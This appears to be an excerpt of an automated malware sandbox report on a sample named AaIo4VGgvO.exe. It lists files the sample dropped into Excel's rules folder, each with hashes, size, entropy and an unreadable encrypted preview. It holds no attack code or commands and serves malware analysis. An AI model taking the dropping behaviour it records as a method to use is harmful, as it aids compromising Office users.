SSDEEP:	24:JNJI0nze7OEMU0FZ88oaZF9TxcMi+BnytLHbD:JNJI0nzO+D9eMdpyt7D
MD5:	64E6193735CAB7E7EE965E3CB93966F6
SHA1:	587AD4221032B625256FA2A4908B2FBA1BD07371
SHA-256:	82828F8DB09446A32E76F6BCD532109B4123DE7B489828D9C8F8DDD118778FE4
SHA-512:	46043BA8ED6135C23808338DCE8F582CF71681624E329657143528BA3C16B2C666525BA729602013E3B734BAAB71D6C4688B5C08BE6AA1EC0C180327EE55C260
Malicious:	false
Preview:	<?xml+9Hf6.#.cW..`..2%OK"....S..Ft.'54....>..3..y..\|/.'..t......~hu.G...4'.T..9\|z.n-_....'...Y0.B.1...S..>&.........u.).."....z>_...`.LB....."..Dj..)k....P.+....y...rl.o........A;2.@..3.I..u.4..D0.1.5...U....#f....(3Lt...IUY.2A..\.yn3..].~.7...$.q...-..C.i@].;,........4.a.....2.nr.`...tB.......J....T........9.C.h.=......~..Y...6..0~J.n....jlX..B...Jj.G.....@X.ss.US..\|wl.4k...#Zz%io..i.(...y..m6..<mlj.>...5K........g...X.3.U..A.......x."..}.D.a%........z...A.3..g.k.......N1A.M.))......F~.4.?..}a-B..j{........"..Er..H....q_,...q.3....D.x/.f.^..4....~_..W.....i...^A...#o.D w.+Qy..w."..@hO)...?..c ..9.........C.X.?.}~...$............)..w,".Z....U!.o.3....hT^..w=g....3[1.gSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120671v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	765
Entropy (8bit):	7.7275200029953535
Encrypted:	false
SSDEEP:	12:4uUKv473Xs3B9Duivh7sY3nEpIfPn1LhAyfEQmrYb/GYq5D+XlbGDPSh13q1+ciD:4AQDc3BvhoY3s0jXBDe5u8S13xbD
MD5:	723F57E9B7B7041E241D092401BBB498
SHA1:	77999EE445DC423928933C6F9CEFCE04B54B7E02
SHA-256:	11EF94253515FAAC578ED52416DF0129C2A8677FC2BEDB77C3A35875DB57E013
SHA-512:	863A137DC019099C647D798ECA2F90C0CD0711CF8672838224F040DB8423A7A49612977CFB0ACF3F5D6FED5EE6BAE1A867C6170A47E948A6EE312D7623DD0CF2
Malicious:	false
Preview:	<?xml........C...5}.d....$./.d.D..4yv..~.. /..[.z...0.y...@Z."%_......X@v........7.....%...g.....r.V.5.`6x..... ...LJ............]..a1i.......\|.'.4......-.-.b...^.........s.S.....GJ...)D....e.....V..+./.p.`....$....f<.<phx..w.........a.+......T.z(.Y...l....M...bn..6.ap..#.#...........{.S.1E.n.7..)7...Ra...&g....d..%.@..`.1C.o2.e.._.&.9.A..!.#):.R...js).Mn..P~....7po%*.\|@$q.........#B.}p...z[../.PR....g0.&P.....A`.u..D0....3+.!....zt.S.K...Y-=\|.Z]).{...:.B=..#sv....J.]V..:9{.O..`.....[..O.5.&.F8.^.=}.8.h..i.......m..}.?..u...9...(1.G..R..d......~.\.%...p\|"He5.M.\).2..C...o..)..i.=..../....R.K..JS........j.<...%...K5/..?.{8../,..k..g....PqSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120672v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.735654088218558
Encrypted:	false
SSDEEP:	12:W2Y4GgliNPJLv0h2mlJTQR46w8OKb/XprY/cu4rYaPBQwOViIj+WsQjqkfH1+ciD:Y4b6PVePzcd3b/XpUkuvMmp5sQ/fUbD
MD5:	28A9B74962A59E74BEB375F8C0F0FE9D
SHA1:	8DB73723F204F41447DB1C994AAA0DD12433C17E
SHA-256:	49B6849B075CAFFEA7E90B910BCDE6C21A7FDB21FBC6AF9AA4E4C76F76867F9C
SHA-512:	F7A6B56BD8DD5331CF67E347FE0F81475ADACC136D29FBCBEA74514C3615034BBA79486DA256CAFC425652F189A67896C5929F369F7B1E7847E425A175CB0938
Malicious:	false
Preview:	<?xml.....U.1.NZyc=B49................u@9...n.o..)...,.v...!..?G.+)z.{..G....3..N...{....C.&.P!......]0.......;......>..G.L.}u......q..DY.....x.(H.-L.c9..IE.(\|.S.X.......H.BQ...FvF.\|.P..m.Vf.K..tY.........B)..`V]Tr9.)..D}..[.....R..&....YOe.[p.g...P.."M.%..B.y.,...A$....;....1...\|S...4...wzp..dC..B.}..N...p.............I....[.w.....$ ...........=-.84....h:..s.2.%/..+..e..<H..G.7Jo.\.`t.)....(.m.b...(...._.....!.....v..t9._.\.J#._..".P....~.SY8.Xr.1.3)...$...v..C...7d...B[.E.EO..-u.X3&% ...s.z.....K.@.E...)...k...!..&l.g+\|...,...>....6..k..=..[.L...]J.=.V.....M...AQ+.-...@j=.*R..h...E.6&..E......$.w.\|...M.:..y\1..!.....L..m.+..Xo..PY...$.Ia4..d.x...:..1...Jzv[...Z.?.......>.C....M...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120673v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.70761179882807
Encrypted:	false
SSDEEP:	12:0XlZW5eLcUUNo6v36+Vd11NusMrLUf+X+bkQds5SIMd8suapoLMtABYsFwOeRcmX:MlZgyAPKSR8sULUfvkQduxqpoLMtAXC1
MD5:	F491FE5FB3DCAAFCD31C9F0D06D73666
SHA1:	FB2C23CC328822E705CCA82F970246F4FC2951E8
SHA-256:	DE29304EBD9EF252B0BC9AE2463DBB3C9F27A312462A3A997E371FE19254A3A4
SHA-512:	B855260BA78D87EEE4B79A7ABB23EA4744A6E7A2567FE34651A261AED8ABCC2B04E0F49519478527A93B4424CFB51DA26348E81C52E63FB2D6C70A76C90836FE
Malicious:	false
Preview:	<?xml..PJ.5Hn3..gy.......0.B.....7..B.g.h.:.b...._...Xj9.......\m......].u.\|7d...t..$n...;-.O......F.....ZnC....3.z. ~%.w.e.....E(a.A.Q.I]g.O.(.B)...v(.)..h.s..T]f..8...T....P......u.PZ.J.G.?J...F5.X.a..X......OX.o......./..Xn.:o......N....P...,\......}.D.....L#c...O...cJ.p.e..m...s....RN.8.F[..i...#Q..<2...b#..f.R.bO`}.qd.........N........,.{X...nlt..u......A@y.jh.. ~>M.ir.i.'z.bgYM.k.V....Y.$........}.Z.....-h.CS..r.....Fu\..G]E.I.^.s...O...n....b.{.K..J.....K.C..!..#.W:7f.h...~...Y..<..C)..07.PQ.y...J........p6dG.1...R.[..E.s..A]A....}t...&....%t4R.n&..4!..W..cW..F....s0..L,...F..E[V.2..+.X.....o*..%....g%.d....S...n..!SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120674v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.757856206238913
Encrypted:	false
SSDEEP:	24:zNdjwlXU3YOyPCVdmSHFltgY6xIEkRhnvur5m+7YRbD:qXDPCVdfluIxxur5mBBD
MD5:	4F11BEF151FDCB60CBCF23D21E08722E
SHA1:	F7636D960EC675B323600FCD8569600E0D84A1EC
SHA-256:	74B49D049BB5948B20D69DC88396EA5D5E33F71A4DA301F2315271157E544D19
SHA-512:	5E8C132063D1D9C66E4ED11C263252B6B70774AA23282E416D79DE7F4B5DF55ABE8B61F32C4D1462FA8B5092D154966F28FF6D357984CA5C4FC6EDB23161914E
Malicious:	false
Preview:	<?xml...pr..=..y....h.....d.Kw..L.k..;..r..J.q.I.%..K..~J.&.@5<....Q..S\.>...m..$]..g.;.....v0.8.QR........:..B..h..2.2..[q.O.W..a.&...VHg..k...,.......$.%Ap...(..q.......c~...#..,....>....-i2.....!.?...2..2...):...LM........R.d.?.....lJ eF..b9.\..:.....8.]=.N..V\|A..W}x......(.}......(.v.Yrai$...7...F..%Xk..L..].F.......~Z..P.?..s.'.R.8q..R.m.....V...G..S!]....o....b.^.......=..7QY.T.#....j........:.?9.2..kd0I:....ag.:..#......ol...e...0......~....dP..K<U2.<A..jk1...Zw....2..{..7-_.9....u.R..E.}.s......f..U.j/....W4...`u)...1GO.Ww7...M........b.......x..QX.n....7.G.t./D.h..3..w.i.u......8gH^..,++"..n.....T.>x........ .;....Bk.n.......g.E..e...C./.q....!..9.N.=.....u..y. c.\|....z....A.4.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120675v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.681133635065927
Encrypted:	false
SSDEEP:	12:/lPdCdOCu7vwk9Lwc3KhbY1XmuEngLINRIA+hZ+3AwAnhJTzWmQvXUA61+cii9a:tVsbu7Ik9w9hbYEgLINghZWAwAhJ2lfB
MD5:	F756D9E4135CCA4D250DEC6047C3533D
SHA1:	3A8D2265A6D6DB545D90C8A338E1C3CFDF676DD3
SHA-256:	3F96E727150E4230C06ECE7BCF69A59B9FCC948FE6A8BF94F87232EC97E14FEF
SHA-512:	721CA786AB7AB77F60A8F68D18C1DFC6E051FAC584056E013D070F7C131B27AF0C6C8ECFE907BED585B8E8778D6E578888F7ACF45477EA6E89A09F4353A6A7DE
Malicious:	false
Preview:	<?xml.~A....?.Y.~+..+a.....Rh.%..Dg......p./BCQ4fD.......-t.B+.p@H..9.8......(.t~...NF..0,!....0..N...'`.............<.t....l9{..x.B.a."./......}a'.Vm....9...N.b-.P...l.fv.A.kY.......7....Y_....[..iAF...-Ol........S..eC.N...q.....K/-.IQ..\lcK(..,...tj...............t...n..n........RS?....1.......s_.gv...f.........?..Am......3..u,'4.X..Gw.o.L..g.Q..lS`..x.....q..]..#.....`#6C....A...@n.s..s..u.9..$.=. ..Nu..+m.$.!\|4.......iFw...m?..B..d..p..v.Z..e.tTp.x...x......../.^I..7....8.k..I@......Z.......R.]..RK......If....Q2.?w..+..x.v3".T..;8G~....B{Q.N\..pg.\|......-.1....+A..m*.L..ql.....&.8.q...V.a.S....$.J.p....(,`..i....\|.'.it..C......0..e..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120676v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.694874005084754
Encrypted:	false
SSDEEP:	24:DGVvbAMJdwPjhXk1tGaR5M8W+eAgV+XEAp8attztbbD:49JdAcGaR5Mwl0AeatNBD
MD5:	79120C55C9B41B441FC528BBA73506BF
SHA1:	AA4307729C68B0A5A8AF3F376E813B0F9D4F2141
SHA-256:	35C5721F813F325A258C78C47EED59660E7C369EE7160DAE186A2CF066A18447
SHA-512:	E828FEEC7A139FF1FBFC50C58B74E2D046B6D18B51D1FAC6017D7E2B95A38743B1D05F9DBD9A3D4E7CD85706B4CE99DC9FD93CF099C2410D9768F66284BEF4A6
Malicious:	false
Preview:	<?xml.....'.&bu.W.~.....8.q..:..N.S..G....y.M+..0........8@.Nj...Y.?.../?..$.....~..;.%....J..!.A..7....s;.....eZB\...Z.8...Q..c_V.......5..84.V../6.....{..l....F=+.8Y.... .........:{..@..&..dN7.#,1...%3Y.0./....`..c....'E......~J..E.....3RPT.9.oB...u.s.6.....~t.....'C..'..4!f.r....K.QP...@.p.#..AY..}@..wf..h.T...[.L<.u....-.\>.`...B}..[.G9...t...t..d..'nP.r..qh.._. .O..~x....L..I.....\|/..l.^/^...%.Q.d.^...(.Wb.32.9q+.Gpu_O.Q.....\E.N.v=jB.M.0.gC..j..T.7...._.m....A.....k<.K..@.Oxy....m..C.{g........q4.../.%.......q.....H.I.ZZ....D..`...Mc.`.~E..5}dO.g..D...7.O.d..~..o.I.u..0.E~Kw...`...'?..8.%mdp]p....1.%.}....w..R.JA&`A.PdR...w.78.b......M@a.v[g..Y*V.b.uy.2....s'.Q....F..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120677v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	738
Entropy (8bit):	7.701828343503688
Encrypted:	false
SSDEEP:	12:0hssnv6hK7Jiv9wljs1l81frvhy5myzrafIYTZ7TgsFji+Zn/U5zG1+cii9a:0hsthkJy9wljsPks5Lra7THFjTsbD
MD5:	3AC9311E689088590220108F28DCCFE5
SHA1:	BF5158AE7C09DD27D02B0DAF2A2C08C2C7A50303
SHA-256:	A56B8EB29C7708420CB116E3E12DEFFBCF1AF9699D266C10D517C67524B3B546
SHA-512:	840E9BF2599F0B7C48804307030BA6799F9E10DB018008E0781EB50B068D6A82B557B655747192499D9EDC4B952BBD7C54A6B015C75C77D37513234938C0E6F9
Malicious:	false
Preview:	<?xml..W`..WYY.E.Qx.r.v........6.p..:.."4.orNR.$.......a.@A....{....wU}..~.I...i.....b..O_...d ..3.L...8.........o{..)c]...H..D...[C...t...(./....Uj@.x......\E.Ey<..5\|.........VYnSd...UO+C@...8..(..!`4B_.tj....._..Z.0q...F....UvA.....K.j...I..w.v.A....r....j...UO.M.+.J.g. @].....%....a..U...B2...,....q....P..e.G....1....N:..u%.y.N..=.!.j.......`........C..3.A,Fx.I.........Q....4..<..s....?...[.q.L.._.\>..\|........@..C..Q26..?t.Q.....S\|....4....:....C.Tb.4.....0ieu.](...3;.....'6.U....#......:!B.c7M{....}......Er..k.4..,.I.%V.FDm.H.+.#.fq(E2.....c<.4E).A..ma$..}.].W.a..b..@...+phXGqy..o...h..C.l.t:..Y..T.%;...y...A.Q.z...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120678v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.686157563347247
Encrypted:	false
SSDEEP:	24:m/T7hKeWfLouzAgKsGJ5tylA/J0JI4+4EbD:IT7o7QNJ26/eJIz4OD
MD5:	1FFA04D4A88690AD7A17DF8B22DACC95
SHA1:	037719718F123F5CE7DCFCFE299264338D13528C
SHA-256:	5DD9D32663E106B104006541F60FD1EF24E58F19F20B3663447B122C3AD304DE
SHA-512:	3B7344E7EA2DD38B3380C8E484189C0B6B67FC2F5746A28B838541C9666FC55032A8D1F2942EA5F59D35A659D9CB3214BFB96323015ED223A9CD7504976F6EDF
Malicious:	false
Preview:	<?xml.6...w....l.u....$...P..~.}(..A...;3....=DMLB..8o.......u#...8^.;Ou)%Qtk.M.h:....k........kW......C.L.X...\|....lICe.%._)..<.x.I....S.O.X.`.....Y..6m.?1...Zh......t..Kn.'..^.\|...........rX.:I..p....i.H..l....l.%.R..J.:Z...H\|......c.] }.x....t.7{#VP.=.....#Z.Q.p.{x.&hQ....n .y.3.>Lm...A...]....fL....u....AB.`_.T.wR.gR..Rc}7..-..a.]#.u...1..Q..o...4+..u...6...d.4)...\|....b{L9.9.I.4..g."...\|M../..vx....:P`........Q...O.1}.>.6..{.../...p[j.d..F.dw8....@B...V.i..G(dZUZ.3..........-..Z...nb.......b~h.Z....>t..$..F_@^..39.Z4.s;0S6..}Q......0......5UZ.W.....3"..dOt"Z\|.=>~..&.="......t...s...cA.....x3.s.r.i._=...:....b^..N......t.B......m.n.u.x....[QT.n.Q..{..^^gt..@.......POqSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120679v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	507
Entropy (8bit):	7.492824125855181
Encrypted:	false
SSDEEP:	12:9qG+46KNsiMuTVUKzYL9EGE32aRxBuaCI0AgDIa1+cii9a:9qGIdiM4ULIRRCrSbD
MD5:	F550BD11D221767DC12FA3F77D84F26E
SHA1:	CCCF2DF544FEF177895C0A42B6F31FF2ED93B3BB
SHA-256:	EA60C2E7198148F21500D00E041EED8D22AA4C6EBA1609C0C8C86F35353A3014
SHA-512:	229593AB4481B8207C28495FAB1FD2355A661F304F08EF33EFDC27E80DEFFCD8D6B1848FFEE52D73B3A0BB80237ECFECC8764E5B1ECCF704F7F0A2E9A226A175
Malicious:	false
Preview:	<?xml...5..U.9;.>%t_S..9..wt.F..V~}.k.....qg._.W.V.....0.\|9...(............6vE...%.x.v....b.rJ\j...]nt.J%.. .}.Z(. ..1.C.K.l.)...&.[.Q.Y..W.6b7.3h.D"yW....,Y..j$W....MZ......E.t.f...Ky..3.YH.d.@.y9dY.....nn.H\|.~.[U..av7...:....v...^..o.c.i#a..X^.......%E0B.?.S....]b...+X..e..t.i..`y...l^...R..q....#..+U....Lx.T.m4{......[K...u=..V@t.z.xZ.!..j/q?...g..2-...i..hPW....o.T....s.K.......Y+.EH.c;....%4.. ...Z.v-...D&SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120680v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2285
Entropy (8bit):	7.9168246415358885
Encrypted:	false
SSDEEP:	48:cfa/4Y/nnLiA7+VUXPs/gtmLGRzQ7evp8WQa+yn8gnbbuInkD:L1nnuUXPHTRzQ6vpoyn8gb6Iw
MD5:	425E3D7800D75C451031A7424489BBEB
SHA1:	E2F6D06F7C8C1E624C4CF611D19DC7BF02DE646C
SHA-256:	BA3F3FE2E362BA9D276D9B64B457B1514AC7996F52D995E02BB76B989DE06B8C
SHA-512:	A342F4D014C41E3587A0B3E882F2C1284CF68CF785DF76D0A4763CDC1D72521EB833BAAFE92829DE868F6DD27CDE88BF97D63F1BC24674407D1DAB6A9F5F9215
Malicious:	false
Preview:	<?xml...t....t.[aw+(...[m..Z......Y<...N...g7E(,......y......hJm..[....R.....-6<.h...~[..Ci.R....:...... _......N....\V4n.wAq.u}?H..0-..>.!..'.'?....)...\.V.%%`..Hs../.5E..1..2.R.i.vx.]....v$.....e.D....@.~b....I..I...O.[.:W`Q...E.`}.h.!......./....m..ux..."...-v2...(.)..k..o.L+...._..&Xe5..K.B9m.z..._.%.Ul%.`....{"..zS...4....E$q.6...BQ/j.k...\z^h...f..D.t...i..q.."..:./.-p$....,....l......#.._.6.w?..Y.......t...kx...T....c..... f.Nx. ..)...I!Q{.0..7...1'&XZA.j....N.L.a.Ue"J..$Q..#a....2z.,M....4........8...b......qSC...Q..3..sG..:2A.....z.S.G....{w.v'.{.X.....Z.oxf......./.?...cZZ..q...Q.F..^..I..C.'].sf....$.a.R...........9...UD.X...v..G..e.B....l....U...~..S.....,..D.T.....=......)..Tl.\\k...\.2 .AvTvt..i......,.c......ge..f......{......q..;..V.J..\|E...&.A.8...UQ..<.z\|.OZ.@..[........UQ.."..,.hm......e..?E..\.Cc...=....K....t...T..J..<.4P..wi.....Pe......OK'....7..l..G.....v........\|.k..*.nb...8...9.f1..6.j~.n.P.{..W>..(G .e..O.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120681v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1291
Entropy (8bit):	7.842509343254641
Encrypted:	false
SSDEEP:	24:0c/9DHPDnu9Jp6yR6UIS7g+7kRLlJpz6kmf79xAojfPfGfZX9DE6HbD:0+HPKDp6g6lF+7oLlJskmfnAoLnG/V7D
MD5:	AE9E53E8C671A1426A20E5AE8CDD241E
SHA1:	0158C88D542531A2A67F38D5DCB5DC2ED5FCDC11
SHA-256:	375559F47DB83B4A73C3F4FFAEA6B96040E8C02D00DEC2F7115251ED51B0C6F9
SHA-512:	E499AD1C3334C749AF2994F55EF56E02503CF5C897C54DAD4B2E7E4FE72704E14A120D805B06B3ED7688026BBE5B316B64FF498C0320DE30694CC2E53785B847
Malicious:	false
Preview:	<?xml........'..v..>.~..9w?5f....^..Y.i.=ZA...Q..V;,o.i...E......QM$....5>..5.Q...m...42j....F....kE..$.....E_...@.x.7.....2.t..V..>...@..6b..yD.;y..Xb.s...8.~w.Y..o"x.z.]=P.^m).....O..S.c]d.^.Xi.P.......h..~"....e.tB......s..........o.]...S..,./...k.I... \.....u !;.@z.[.........-[....-(u.$.F....d....^b...}.^.EH!.....ws...B..W....Ch.O...,..g..yo[fz.t..}...AkF..PC.av.T...j.PT.}/e..NQ.;.}....s._'?1...tY=.4.$...v....O.'3....)o..R.._\M...Q).-. .X.9..m./!..y.........,.....lS;e.y R-.8.X.n...g;.qJ...uL.>.S.j.().y.aE.D.?......W...B...+m7'.0.:?&......b.!([j....Q.E....u.s..W..P....u.....~...hN{..a..x...........n...M'F9....`.._..[...Z.Wp.....\|.B.7...uFH....e..g...N.....^.N..h....?.j2..."....J...Q.o ....mu.?.~..{....Y...!..D.oCj..f..xc...}.)....F..i4M:.......t;.1.[a ........G\......7....X..X{}49........Z...e....2g.)5.7..V..sX.kz..E?"r......!t..q3.WY..s..'.B...g&.:..`@..D..Y?.7...!.....3~.B.nKn ......9D.?Yz`..I{..B..xmv7.fx...r..l..n<.fK.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120682v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	834
Entropy (8bit):	7.7457899247064494
Encrypted:	false
SSDEEP:	24:msHb3UMQESnLlRTtnRzrDVkt2Q3xOjQ2HT26cDbD:mK3yE+PHXCtHgkD
MD5:	B1AE9792C02AB94E7FE6FF57BAE6799F
SHA1:	621AFB0451F9AB941091BE77F3D5C521E18F6F4E
SHA-256:	0437F05F633CCBE376A83CB9D51C86D8CC736F6142D56656E53EE2E5685CC743
SHA-512:	D87FC24D0CF163A987FB93F8C66E90644F8F01ADB220463EDFC72557E0960447DB158D60209F5925A1C864E4A02C248A1962B69E0388A157A491CF057147DC55
Malicious:	false
Preview:	<?xmll.5......?.\.R.q .&.3m.s..nka...nQ..E.Wbz{.....~(w..7..............B...z..$..!.HB.2....M?..q..(l+.......>....{.(..}..L.....EZx6...."S...#_.R.g]...F@].Q.....#.u..}yU..6&...!I........&.5.Ah@,J...2.U.<m...........t)+.W..~.....{..&Y.....f....?......\|}.n......K\&/I...J.........v.E.7.iT........o.....ts].&...dw.L..s&.?JB.:....I.8.X(E.2k...T...H/.Xq\|.xt....;...9..k>....^.k.#.8.\.......V4B.c..w.E....A...eEG..8...+.../.3.]..p.;..q..f.s.".?...>....y.SS.~..45.A..J.Q.9.\..g....H...+JC#P.0......(.Z..A...S.`..$....qR#...MG4.Z......O0.Z.`).a..u.b..r01.H`o.\.....P.)..U.)T0m..........P.....$.;.v...m.s.....\|...]S\.E.1..?.o...(.1.d......zl..vO.^.gA/e...{hx...T...G...j.p.V..........w..e.j..._..p.....C..C_.S.W...'.H`.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule130009v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	630
Entropy (8bit):	7.588887531132699
Encrypted:	false
SSDEEP:	12:hUoF/Z/N/hN5IjyKdjwsXXWTzqNzDpGM52Ar94rW3FWsEBd478gJP1+cii9a:qoFZ1/hsyR0GUYmraKMsC478gJcbD
MD5:	726D897DA52FA25D0201D3704C6012DD
SHA1:	EACA29260589C77F9B56308837CDD94B6F0C5368
SHA-256:	BC67B322F8EB14F4638A9811F2BA8167586E656352BCB3498CFF88D9ECEE2339
SHA-512:	AD23D5E873D3E49FCBFB97076070225442AF760D91CD9DFB37533DD8D68CADEBC848EFF636EEC6D3E67B81FBC79AC7EBDA90A155D1315A09322EF445A9BCBCB2
Malicious:	false
Preview:	<?xml~.zsVi.t..l.N...2.E.k...l...;Mb,...X...c....b......4.....c..N.../...D.ef.}q.$@.m..l....l5..;.).fdqb.S...C..O.X..~........^.i...9k..qW..q.g....ZW..4..DdJ%n`..+.\..p`.....:.....+2...qg..`.......J.A.t4..#B.h....k....IT..lb.7..^wV........J.z.?....c.-Oy&....&.)..V..W.....7./.}D.?.\|e...8....=Lf...gNt.S.:3..[f.b.)C.3..l.....q.]`..^.8Wr.Os....b...A..l.q...X.........d.....FvS\|.Hal..O.Z^...;.@*..<g?.f.k....'..{.....GM. .{...bp.d;...a.BE...o..s}...`x/.9.a....$....K...SW..Qw.V..uz.FHN.6.d`..G...S.cNfF.K.f.m.._...P[=.2.I.'.,.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170000v6.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	7.745074484516103
Encrypted:	false
SSDEEP:	24:KQcdclVoZ9EydJe30oOiTk60vy6/fXWQXHajcCCbD:KQcmOEydQkwTk26nWoH4cJD
MD5:	A3105FA5E3990CD25901E307D0987271
SHA1:	7BD565B3BD52143834F16456560D394ABEE0442E
SHA-256:	9E6E0580B84C6807A6129E5DA3C8A4B5B533E9866F71E8083C05D228F250D809
SHA-512:	DE34A0CD7BC951392AFC9BB4129C5CB577BFAD6105E0F576C863021B60486DDF7D029A181EC6C57328EC650EA64161E412BF74D01AB46933ABC798A1803E17F8
Malicious:	false
Preview:	<?xml$.j._H.\|.@o......6[..{.^....(..j..I........x.Y.....;./......l.j~=.....0.g.....v..G....E3D..U...........Uv.....O.S4>..........K+..@\|..&m..`.."\N...9...^jd......Na..p.c. 5..e:...8.'.+_....,....]H..eX.....j...p.0.....KF.98....$gH......z.o.H.. m.....,gzRW.1.....A.+......2X...=.t....r...#...8.cC,.:U..Huf.X3lRh.../(..V...Z.~,....f..fNl.wX. ...Y8v..N..s.u...=.....h^.ul..;..y..{I4..qv.kl6.NKN..K4@9.\i...)1..=.=.._..c5.Am]..d^..1C...j.3./+J'=d^..Zu`I..dGs.!..3.o..4....u......D.r.7..N...}.fi'...r\|..K........4.q.r....CS~..-...c..7.[...UUG..8..x.....w..."."..]....e.V. g....a.H.Y.../..~..0.Qc'...Z..&y>..;.w$k.-.c.\|.7... .P...6...j..."`qj2"....FK.iZOo..9......C["v.~eG..]..4..7.z......!d..,.f........_.J4...Zp..5;..?v...zcC....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170002v6.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	6314
Entropy (8bit):	7.967975122949363
Encrypted:	false
SSDEEP:	192:dj5bWlTVy9kjiMSKSHVYZEEl4WmoxxZw1:d0jy9Yi7SRGA/Zw1
MD5:	CE44300C29855A1A88559A06C85BBA26
SHA1:	AA3DFA5EA7DE1DEF77D8373F0D9D03440BF2EFBF
SHA-256:	45367ECA4B721D35EEC6A19D85B0D63FE401E38D7A607810E2FED811C1006224
SHA-512:	DB5B311C3507A57E9C8F54D2DE15447E56F274A81B270E93089D18ED14D8674FB981535823A6AB724D4A34039AB17A64754AF55FEC19B594363B45A18C71E1AA
Malicious:	false
